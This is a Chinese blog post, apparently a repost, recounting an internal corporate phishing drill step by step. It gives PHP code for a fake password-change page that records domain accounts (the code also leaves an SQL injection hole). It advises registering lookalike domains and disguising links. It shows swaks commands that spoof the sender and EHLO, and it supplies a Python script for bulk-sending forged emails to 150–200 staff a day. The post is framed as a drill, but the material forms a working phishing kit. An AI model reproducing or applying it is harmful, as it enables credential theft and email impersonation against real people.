本文转自:先知社区
既然是钓鱼,那钓鱼页面需要尽可能和原系统一致,如果需要网站克隆,推荐使用setookit,里面有个site cloner功能,网上有相关教程,我就不详细描述了。我们这次的演练并没有完全克隆,原因是我们的域系统需要先登录,然后再进行修改密码,如果有cookie记录就直接跳转到修改密码的页面了,为了方便起见,我们直接重新做了一个页面(只是在修改密码页面增加了一个域账号框,方便记录),同时后端不记录"password"字段到数据库,前端效果图如下:
因为我有php环境,方便起见就直接用php+mysql了。因为就记录一个字段,代码也比较简单,如下:
<?php
$con = mysql_connect("localhost","root","XXXX");
if (!$con)
{
die('Could not connect: ' . mysql_error());
}
mysql_select_db("test", $con);
$sql="INSERT INTO user(username)
VALUES
('$_POST[inputuser]')";if (!mysql_query($sql,$con))
{
die('Error: ' . mysql_error());
}
echo "<script> {window.alert('密码修改成功');window.open('http://xxx.com', '_top')} </script>";
mysql_close($con)
?>
有django等其他环境的同学,直接用其他框架即可,反正后端就记录个域账号也比较简单。钓鱼页面做好了,接下来就是注册域名和大批量发送钓鱼邮件了。毕竟是演练,我们提前是知道修改域密码的网站域名,申请域名尽量和真实域名类似,比如域名内含o我们就用0代替,含11我们就可以使用ll代替等等。也可以使用域名短链接(网上提供域名短链接的服务商也较多,搜索一下即可),真实钓鱼,但是效果肯定没有伪造的域名好。至于钓鱼邮件发送,这里推荐大家使用awaks工具,安装后,使用格式示例:
swaks --tls --to [email protected] --from [email protected] --ehlo qq.com --body hello --header "Subject: hello"
–from <要显示的发件人邮箱>
–ehlo <伪造的邮件ehlo头>
–body <邮件正文>
–header <邮件头信息,subject为邮件标题>
为了安全起见,我们发送邮件需要使用tls,这样发送的内容都是加密的了,但是该工具批量发送带有自定义内容的邮件不方便,于是写了一个py脚本,使用--data参数,方便批量发送,我们的策略是每天随机发送150至200个人,具体看公司规模而定。每个邮箱客户端使用的邮件头还不一样,我们测试了用qq邮箱头发给outlook没有问题,由于我们公司默认都是outlook,foxmail没有测,应该问题也不大,有问题增删相关邮件头字段即可。下面是批量发送脚本内容(命名为mail.py):
import time
import sys
import subprocess
#发送的完整邮件内容有2部分组成,一部分是收件人,是可变的,一部分是邮件内容,是不变的,内容使用file_c变量,收件人使用file_f变量,具体看脚本内容file_c = '''Subject: =?gb2312?B?xxxxxxxdLss6M=?=
#主题等都是gb2312编码后的base64加密
#Thread-Topic: =?gb2312?B?0/Lxxxxxxxxxss6M=?=
Thread-Index: AdT6eO/KxxxxxxxxxxxxxxxxIKA==
Date: {time.ctime()} +0800
#发送邮件是提前发送的模板邮件,所以需要获取当前时间作为发送时间,不然接收的时间会不对
Accept-Language: zh-CN, en-US
Content-Language: zh-CN
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
x-originating-ip: [x.x.x.x]
Content-Type:xxxxxxxxx;
Return-Path: [email protected]m
xxx内容xxx '''
file = open(f'/usr/local/src/{sys.argv[1]}', 'r')
names = file.readlines()
for name in names:
file_f = f'To: "{name.strip()}" <{name.strip()}>\n'
#print(file_f)
with open('/usr/local/src/file.txt', 'w') as f:
f.writelines(file_f + file_c)
status = subprocess.Popen(['swaks', '--tls', '--data', '/usr/local/src/file.txt', '--to', name.strip(), '--from', '[email protected]'], stdout=subprocess.PIPE)
lg = status.stdout.readlines()
print(type(lg))
with open('/usr/local/src/log.txt', 'a+') as g:
for line in lg:
g.write(line.decode())
`
发送对象名单保存在sec.txt中,运行 python mail.py sec.txt 即可。
收到的钓鱼邮件如下:
为了钓鱼效果,邮件链接可使用真实链接,然后做个超链接到"钓鱼系统",这样更能神不知鬼不觉
三天后,拉一下数据库,上钩的人有100多,不乏一级部门领导负责人,演练没有事前报备,演练结束后大部门内部通报,领导觉得效果不错!
- end -